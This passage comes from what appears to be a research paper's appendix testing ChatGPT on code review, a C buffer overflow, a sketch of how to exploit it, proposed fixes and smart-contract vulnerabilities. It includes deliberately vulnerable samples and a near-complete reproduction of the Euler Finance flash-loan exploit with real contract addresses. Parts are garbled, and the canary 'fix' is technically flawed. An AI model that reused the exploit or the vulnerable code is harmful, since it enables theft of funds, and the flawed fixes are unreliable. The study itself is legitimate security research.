   kdasd35sfja[kdasd35sfjada - 1][sdf23423 -
   1] + kdasd35sfja[kdasd35sfjada - 1][
   sdf23423] + 1;
19   }
20   return kdasd35sfjada;
21 }

```

Code 4: Obfuscated code based on Supper Egg Drop solution. We renaming the variables and function names and insert dummy code that will not have a effect on its results.

Appx Q2: Could you review 4?

Reply from ChatGPT: The code you have provided appears to be written in C++ and defines a function called "gyjdfgadfsvcvjhyt". Unfortunately, the function name and parameters do not give any indication of what the function is supposed to do. It would be helpful to have some context or explanation of the intended purpose of this function.

Regarding the code itself, there are some issues with readability and style that could be improved. For example, the use of single-letter variable names (e.g., "kdsfjaldfie55qwer", "kdasd35sfja") can make it difficult for someone reading the code to understand what is going on. Additionally, the inconsistent use of whitespace and indentation can make the code more difficult to read.

It's also worth noting that the code appears to be using nested while loops, which can be difficult to follow and potentially lead to performance issues if the loops are executing a large number of times. Without more context, it's difficult to say whether this is a problem in this particular case.

Finally, there are no comments or documentation explaining what the code is doing, which could make it difficult for other developers to understand and modify the code in the future.

Overall, I would recommend improving the readability and style of the code, adding comments and documentation, and providing more context and explanation of the intended purpose of the function.

Appx Q3: Does this piece of code have vulnerability?

```

1   int main(int argc, char *argv[])
2   {
3       char buffer[5];
4       strcpy(buffer, argv[1]);
5       printf("buffer content= %s\n", buffer);
6       return 0;
7   }

```

Code 5: A piece of code that contains a buffer overflow vulnerability.

Reply from ChatGPT: Yes, this piece of code has a vulnerability known as a buffer overflow.

The variable buffer is defined as an array of 5 characters, which means it can hold up to 4 characters plus the null terminator. However, the program copies the content of argv[1] into buffer using the strcpy function, which does not check if the source string is larger than the destination buffer.

If argv[1] contains more than 4 characters (or the null terminator), strcpy will write past the end of buffer, potentially overwriting other important data on the stack. This can cause unpredictable behavior, crashes, and even security vulnerabilities like code injection.

Appx Q4: Does this piece of code have vulnerability?

```

1   char* abc(char* def, const char* hij)
2   {
3       if (def == NULL) {
4           return NULL;
5       }
6       char *ptr = def;
7       while (*hij != 0)
8       {
9           *def = *hij;
10          def++;
11          hij++;
12      }
13      *def = 0;
14      return ptr;
15  }
16  int main(int argc, char *argv[])
17  {
18      char xyz[5];
19      abc(xyz, argv[1]);
20      printf("xyz content= %s\n", xyz);
21      return 0;
22  }

```

Code 6: A piece of code that contains a buffer overflow vulnerability.

Reply from ChatGPT: Yes, the provided code contains a vulnerability related to the use of the abc function and the potential for buffer overflow. The vulnerable code is in the abc function.

The issue arises from the fact that there is no check on the size of the destination buffer (def) before copying data from the source (hij). The function uses a simple loop to copy characters from hij to def until it reaches the null-terminator ('0'). However, it does not verify whether the destination buffer has enough space to hold the entire source string. In the main function, the xyz buffer is declared with a size of 5 characters. If the user provides a command-line argument (argv[1]) longer than 4 characters (since one byte is reserved for the null-terminator), the abc function will copy the characters beyond the bounds of the xyz buffer, leading to a buffer overflow. This behavior results in undefined behavior, potentially overwriting adjacent memory or causing segmentation faults.

To fix this vulnerability, you should modify the abc function to take the size of the destination buffer as an additional argument and ensure that it does not exceed the buffer size during the copying process. Alternatively, you can use safer string functions like strncpy or memcpy that allow specifying the size of the destination buffer to avoid buffer overflows.

Appx Q5: How to leverage this vulnerability to launch attack?

Reply from ChatGPT: This program has a buffer overflow vulnerability, which can be exploited by an attacker to gain control of the program execution and possibly execute malicious code. Here's an example of how an attacker could leverage this vulnerability to launch an attack: The attacker crafts a malicious input string that is longer than 5 bytes, such as

```
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB"
```

The attacker runs the program with the malicious input as a command-line argument, like this:

```
"./program AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB"
```

When the program executes the `strcpy` function with the malicious input, it copies the entire string (including the "BBBB" part) into the buffer, overwriting the return address on the stack. The attacker's code in the "BBBB" part of the input string gets executed instead of the intended code, giving the attacker control of the program execution and potentially allowing them to execute arbitrary code or launch further attacks.

Appx Q6: Can you rewrite the code to avoid the vulnerability?

Reply from ChatGPT: Yes, we can rewrite the code to avoid the buffer overflow vulnerability. Here's an example:

```
1 int main(int argc, char *argv[]) {
2     char buffer[BUFFER_SIZE];
3     int len;
4     if (argc < 2) {
5         printf("Usage: %s <string>\n", argv[0]);
6         return 1;
7     }
8     len = strlen(argv[1]);
9     if (len >= BUFFER_SIZE) {
10        printf("Input string is too long\n");
11        return 1;
12    }
13    strcpy(buffer, argv[1]);
14    printf("buffer content = %s\n", buffer);
15    return 0;
16 }
```

Code 7: Source code of bubble sorting algorithm. We not only anonymized the name of function and variable name but also split the algorithm into three functions.

In this version of the code, we have defined a constant `BUFFER_SIZE` to set the maximum size of the buffer. Before copying the input string to the buffer, we check its length to ensure it will not overflow the buffer. If the input string is too long, we print an error message and exit the program. This way, we ensure that the buffer will never be overflowed.

Appx Q7: Can you propose a method to detect the vulnerability at program running time?

Reply from ChatGPT: One method to detect the vulnerability at program running time is to use a technique called "canary values" or

"stack cookie". This technique involves adding a random value (the "canary") to the stack before the buffer, and checking that the canary has not been overwritten when the function returns.

To implement this technique, we can modify the original code as follows:

```
1 int main(int argc, char *argv[]){
2     char buffer[5];
3     int canary = rand();
4     printf("Canary value: %d\n", canary);
5     memcpy(buffer, &canary, sizeof(canary));
6     memcpy(buffer + sizeof(canary), argv[1], strlen
7         (argv[1]) + 1);
8     if (canary != *(int*)buffer) {
9         printf("Buffer overflow detected!");
10    } else {
11        printf("buffer content = %s\n", buffer +
12            sizeof(canary));
13    }
14    return 0;
15 }
```

In this modified code, we add a random integer canary value to the stack before the buffer. We then check if the canary value has been modified after the user input is copied into the buffer. If the canary value has been modified, it indicates that a buffer overflow has occurred, and we can take appropriate action, such as terminating the program or alerting the user.

Note that this technique is not foolproof and can be bypassed in certain cases. It is still important to ensure that buffers are properly sized and user input is properly validated to avoid buffer overflow vulnerabilities in the first place.

Appx Q8: Does this contract have any vulnerability?

```
1 pragma solidity ^0.4.15;
2 contract Unprotected{
3     address private owner;
4
5     modifier onlyowner {
6         require(msg.sender==owner);
7         _;
8     }
9
10    function Unprotected()
11        public
12    {
13        owner = msg.sender;
14    }
15
16    // This function should be protected
17    function changeOwner(address _newOwner)
18        public
19    {
20        owner = _newOwner;
21    }
22
23    function changeOwner_fixed(address _newOwner)
24        public
25        onlyowner
26    {
27        owner = _newOwner;
28    }
29 }
```

Code 8: A piece of code that contains account permission vulnerability.

Reply from ChatGPT: Yes, the Unprotected contract has a vulnerability. In the `changeOwner` function, anyone can call it and change the owner of the contract without any restriction. This means that an attacker could take over ownership of the contract, potentially causing harm to its functionality or funds. To fix this vulnerability, you've already

provided a solution with the `changeOwner_fixed` function, which includes the `onlyowner` modifier. This modifier restricts the execution of the function to only the current owner of the contract, thus mitigating the vulnerability.

Appx Q9: Does this contract have any vulnerability?

```

1  /**
2   * @notice User redeems cTokens in exchange for the
   * underlying asset
3   * @dev Assumes interest has already been accrued
   * up to the current block
4   * @param redeemer The address of the account which
   * is redeeming the tokens
5   * @param redeemTokensIn The number of cTokens to
   * redeem into underlying
6   * (only one of redeemTokensIn or redeemAmountIn
   * may be non-zero)
7   * @param redeemAmountIn The number of underlying
   * tokens to receive from redeeming cTokens
8   * (only one of redeemTokensIn or redeemAmountIn
   * may be non-zero)
9   * @return uint 0=success, otherwise a failure (see
   * ErrorReporter.sol for details)
10  */
11  function redeemFresh(address redeemer, uint256
   redeemTokensIn, uint256 redeemAmountIn)
   internal returns (uint256) {
12      require(redeemTokensIn == 0 || redeemAmountIn ==
   0, "!redeemTokensInorOut!=0");
13
14      RedeemLocalVars memory vars;
15
16      /* exchangeRate = invoke Exchange Rate Stored()
   */
17      (vars.mathErr, vars.exchangeRateMantissa) =
   exchangeRateStoredInternal();
18      if (vars.mathErr != MathError.NO_ERROR) {
19          return failOpaque(Error.MATH_ERROR, FailureInfo
   .REDEEM_EXCHANGE_RATE_READ_FAILED, uint256
   (vars.mathErr));
20      }
21
22      if (redeemAmountIn == type(uint256).max) {
23          redeemAmountIn = comptroller.
   getMaxRedeemOrBorrow(redeemer, address(
   this), false);
24      }
25
26      /* If redeemTokensIn > 0: */
27      if (redeemTokensIn > 0) {
28          /*
29           * We calculate the exchange rate and the
   amount of underlying to be redeemed:
30           * redeemTokens = redeemTokensIn
31           * redeemAmount = redeemTokensIn x
   exchangeRateCurrent
32           */
33          vars.redeemTokens = redeemTokensIn;
34
35          (vars.mathErr, vars.redeemAmount) =
   mulScalarTruncate(Exp({mantissa: vars.
   exchangeRateMantissa}), redeemTokensIn);
36          if (vars.mathErr != MathError.NO_ERROR) {
37              return
   failOpaque(Error.MATH_ERROR, FailureInfo.
   REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED
   , uint256(vars.mathErr));
38          }
39      }
40      } else {
41          /*
42           * We get the current exchange rate and
   calculate the amount to be redeemed:
43           * redeemTokens = redeemAmountIn /
   exchangeRate
44           * redeemAmount = redeemAmountIn
45           */

```

```

46      (vars.mathErr, vars.redeemTokens) =
   divScalarByExpTruncate(redeemAmountIn, Exp({
   mantissa: vars.exchangeRateMantissa}));
47
48      if (vars.mathErr != MathError.NO_ERROR) {
49          return
   failOpaque(Error.MATH_ERROR, FailureInfo.
   REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED
   , uint256(vars.mathErr));
50      }
51
52      }
53
54      vars.redeemAmount = redeemAmountIn;
55  }
56
57  /* Fail if redeem not allowed */
58  uint256 allowed = comptroller.redeemAllowed(
   address(this), redeemer, vars.redeemTokens);
59  if (allowed != 0) {
60      return failOpaque(Error.COMPTROLLER_REJECTION,
   FailureInfo.REDEEM_COMPTROLLER_REJECTION,
   allowed);
61  }
62
63  /* Verify market's block number equals current
   block number */
64  if (accrualBlockNumber != getBlockNumber()) {
65      return fail(Error.MARKET_NOT_FRESH, FailureInfo
   .REDEEM_FRESHNESS_CHECK);
66  }
67
68  /*
69   * We calculate the new total supply and
   redeemer balance, checking for underflow:
70   * totalSupplyNew = totalSupply - redeemTokens
71   * accountTokensNew = accountTokens[redeemer] -
   redeemTokens
72   */
73  (vars.mathErr, vars.totalSupplyNew) = subUInt(
   totalSupply, vars.redeemTokens);
74  if (vars.mathErr != MathError.NO_ERROR) {
75      return failOpaque(Error.MATH_ERROR, FailureInfo
   .REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED
   , uint256(vars.mathErr));
76  }
77
78  (vars.mathErr, vars.accountTokensNew) = subUInt(
   accountTokens[redeemer], vars.redeemTokens);
79  if (vars.mathErr != MathError.NO_ERROR) {
80      return
   failOpaque(Error.MATH_ERROR, FailureInfo.
   REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED
   , uint256(vars.mathErr));
81  }
82
83  /* Fail gracefully if protocol has insufficient
   cash */
84  if (getCashPrior() < vars.redeemAmount) {
85      return fail(Error.TOKEN_INSUFFICIENT_CASH,
   FailureInfo.
   REDEEM_TRANSFER_OUT_NOT_POSSIBLE);
86  }
87
88  ///////////////////////////////////////////////////
89  // EFFECTS & INTERACTIONS
90  // (No safe failures beyond this point)
91
92  /* We write previously calculated values into
   storage */
93  totalSupply = vars.totalSupplyNew;
94  accountTokens[redeemer] = vars.accountTokensNew;
95
96  /*
97   * We invoke doTransferOut for the redeemer and
   the redeemAmount.
98   * Note: The cToken must handle variations
   between ERC-20 and ETH underlying.
99   * On success, the cToken has redeemAmount less
   of cash.
100   * doTransferOut reverts if anything goes wrong
   , since we can't be sure if side effects
101

```

```

102         occurred.
103     */
104     doTransferOut redeemer vars redeemAmount
105     /* We emit a Transfer event, and a Redeem event */
106     emit Transfer redeemer address this vars
107         redeemTokens
108     emit Redeem redeemer vars redeemAmount vars
109         redeemTokens
110     /* We call the defense hook */
111     comptroller redeemVerify address this redeemer
112         vars redeemAmount vars redeemTokens
113
114     return uint256 Error NO_ERROR

```

Code 9: A piece of code that contains round issues.

Reply from ChatGPT: The `redeemFresh` function appears to be well-written with proper checks and comments. However, without seeing the complete context of the contract, including the definitions of the structures and functions it calls, it's challenging to determine if there are any vulnerabilities definitively. Here are some points to consider:

- **Integer Underflow/Overflow:** The function checks for underflow/overflow in several places, which is good practice. However, ensuring that the conditions leading to these checks are appropriately handled throughout the contract is crucial.
- **External Calls:** The function interacts with external contracts, such as `comptroller`, `doTransferOut`, and potentially others. Ensure that these contracts are trusted and that their behaviors cannot be manipulated to exploit the current contract.
- **Reentrancy:** Although not evident in this snippet, any external calls or state changes before sensitive operations should be scrutinized for potential reentrancy vulnerabilities.
- **Gas Limit:** The function may perform several operations and interact with other contracts. Ensure that it stays within the gas limit to prevent out-of-gas errors.
- **Error Handling:** The function returns error codes upon failure, but ensure that these errors are appropriately handled by callers to prevent unexpected behavior. Without more context and knowledge of the entire system, it's difficult to conclusively determine whether the contract has vulnerabilities. A thorough security audit, considering the entire codebase and its interactions, is recommended to identify and address any potential issues.

Appx Q10: Does this contract have any vulnerability?

```

1 // SPDX-License-Identifier: MIT
2 pragma solidity 0.8.10;
3
4 import "forge-std/Test.sol";
5
6 interface IERC20 {
7     event Transfer(address indexed from, address
8         indexed to, uint256 value);
9     event Approval(address indexed owner, address
10         indexed spender, uint256 value);
11
12     function totalSupply() external view returns (
13         uint256);
14     function balanceOf(address account) external
15         view returns (uint256);
16     function decimals() external view returns (
17         uint8);
18     function transfer(address to, uint256 amount)
19         external returns (bool);
20     function allowance(address owner, address
21         spender) external view returns (uint256);
22     function approve(address spender, uint256
23         amount) external returns (bool);
24     function transferFrom(
25         address from,

```

```

18         address to,
19         uint256 amount
20     ) external returns (bool);
21 }
22 interface IAaveFlashloan {
23     function flashLoan(
24         address receiverAddress,
25         address[] calldata assets,
26         uint256[] calldata amounts,
27         uint256[] calldata modes,
28         address onBehalfOf,
29         bytes calldata params,
30         uint16 referralCode
31     ) external;
32 }
33 interface EToken {
34     function deposit(uint256 subAccountId, uint256
35         amount) external;
36     function mint(uint256 subAccountId, uint256
37         amount) external;
38     function donateToReserves(uint256 subAccountId,
39         uint256 amount) external;
40     function withdraw(uint256 subAccountId, uint256
41         amount) external;
42 }
43
44 interface DToken {
45     function repay(uint256 subAccountId, uint256
46         amount) external;
47 }
48
49 interface IEuler {
50     struct LiquidationOpportunity {
51         uint256 repay;
52         uint256 yield;
53         uint256 healthScore;
54         uint256 baseDiscount;
55         uint256 discount;
56         uint256 conversionRate;
57     }
58
59     function liquidate(
60         address violator,
61         address underlying,
62         address collateral,
63         uint256 repay,
64         uint256 minYield
65     ) external;
66     function checkLiquidation(
67         address liquidator,
68         address violator,
69         address underlying,
70         address collateral
71     ) external returns (LiquidationOpportunity
72         memory liqOpp);
73 }
74
75 contract Iviolator {
76     IERC20 DAI = IERC20(0
77         x6B175474E89094C44Da98b954EedeAC495271d0F)
78     ;
79     EToken eDAI = EToken(0
80         xe025E3ca2bE02316033184551D4d3Aa22024D9DC)
81     ;
82     DToken dDAI = DToken(0
83         x6085Bc95F506c326DCBCD7A6dd6c79FBc18d4686)
84     ;
85     IEuler Euler = IEuler(0
86         xf43celd09050BAfd6980dD43Cde2aB9F18C85b34)
87     ;
88     address Euler_Protocol = 0
89         x27182842E098f60e3D576794A5bFFb0777E025d3;
90
91     function violator() external {
92         DAI.approve(Euler_Protocol, type(uint256).
93             max);
94         eDAI.deposit(0, 20_000_000 * 1e18);
95         eDAI.mint(0, 200_000_000 * 1e18);
96         dDAI.repay(0, 10_000_000 * 1e18);
97         eDAI.mint(0, 200_000_000 * 1e18);
98         eDAI.donateToReserves(0, 100_000_000 * 1e18)

```

```

83
84
85
86 contract Iliquidator
87     IERC20 DAI IERC20
88     x6B175474E89094C44Da98b954EedeAC495271d0F
89
90     EToken eDAI EToken
91     xe025E3ca2bE02316033184551D4d3Aa22024D9DC
92
93     DToken dDAI DToken
94     x6085Bc95F506c326DCBCD7A6dd6c79FBc18d4686
95
96     IEuler Euler IEuler
97     xf43ce1d09050BAfd6980dD43Cde2aB9F18C85b34
98
99     address Euler_Protocol
100     x27182842E098f60e3D576794A5bFFb0777E025d3
101
102     function liquidate address liquidator address
103     violator external
104     IEuler LiquidationOpportunity memory
105     returnData
106     Euler checkLiquidation liquidator
107     violator address DAI address
108     DAI
109     Euler liquidate violator address DAI
110     address DAI returnData repay
111     returnData yield
112     eDAI withdraw DAI balanceOf
113     Euler_Protocol
114     DAI transfer msg sender DAI balanceOf
115     address this
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154

```

```

131 modes[0] = 0;
132 bytes memory params =
133     abi.encode(30_000_000, 200_000_000, 100
134         _000_000, 44_000_000, address(DAI),
135         address(eDAI), address(dDAI));
136 AaveV2.flashLoan(address(this), assets,
137     amounts, modes, address(this), params,
138     0);
139
140 emit log_named_decimal_uint("Attacker DAI
141     balance after exploit", DAI.balanceOf(
142     address(this)), DAI.decimals());
143
144 }
145
146 function executeOperation(
147     address[] calldata assets,
148     uint256[] calldata amounts,
149     uint256[] calldata premiums,
150     address initiator,
151     bytes calldata params
152 ) external returns (bool) {
153     DAI.approve(address(AaveV2), type(uint256).
154     max);
155     violator = new Iviolator();
156     liquidator = new Iliquidator();
157     DAI.transfer(address(violator), DAI.
158     balanceOf(address(this)));
159     violator.violator();
160     liquidator.liquidate(address(liquidator),
161     address(violator));
162     return true;
163 }
164 }

```

Code 10: Code Snippet from Euler Finance protocol.

Reply from ChatGPT: The provided contract is quite complex, involving several interfaces and contracts. There are several points of potential vulnerability and concern:

- **External Calls and Untrusted Contracts:** The contracts interact with external contracts and interfaces (IAaveFlashloan, IEuler, EToken, DToken, IERC20). If any of these external contracts have vulnerabilities or behave unexpectedly, they could compromise the security of this contract.
- **Flash Loan Usage:** Flash loans introduce additional complexity and potential risks. The testExploit function utilizes a flash loan from Aave to exploit the contract. Flash loans can be powerful tools, but they also open up the possibility of reentrancy attacks and unexpected behavior if not handled carefully.
- **Unchecked Transfer:** There is a potential vulnerability in the Iliquidator contract's liquidate function. It transfers DAI tokens using DAI.transfer, which does not check the return value. If the transfer fails for any reason, the funds would be stuck in the contract, leading to a potential loss of funds.
- **Lack of Access Control:** The violator contract does not restrict access to the violator function, which means anyone can call it. Depending on what this function does and how it interacts with other contracts, it could lead to unauthorized actions or exploits.
- **Potential Gas Limit Issues:** The setUp function utilizes a vm.createSelectFork function, which could potentially consume a significant amount of gas depending on its implementation. Gas limits should be carefully considered, especially if this function is called frequently.

To enhance security:

- Perform thorough testing, including unit tests and integration tests, to identify and address potential vulnerabilities.
- Ensure that all external calls are handled securely, including proper error handling and checking return values.
- Implement access controls to restrict sensitive functions to authorized users only.
- Consider using standardized contracts and interfaces where possible to reduce the risk of vulnerabilities.
- Use flash loans cautiously and implement proper safeguards to mitigate potential risks associated with flash loan usage.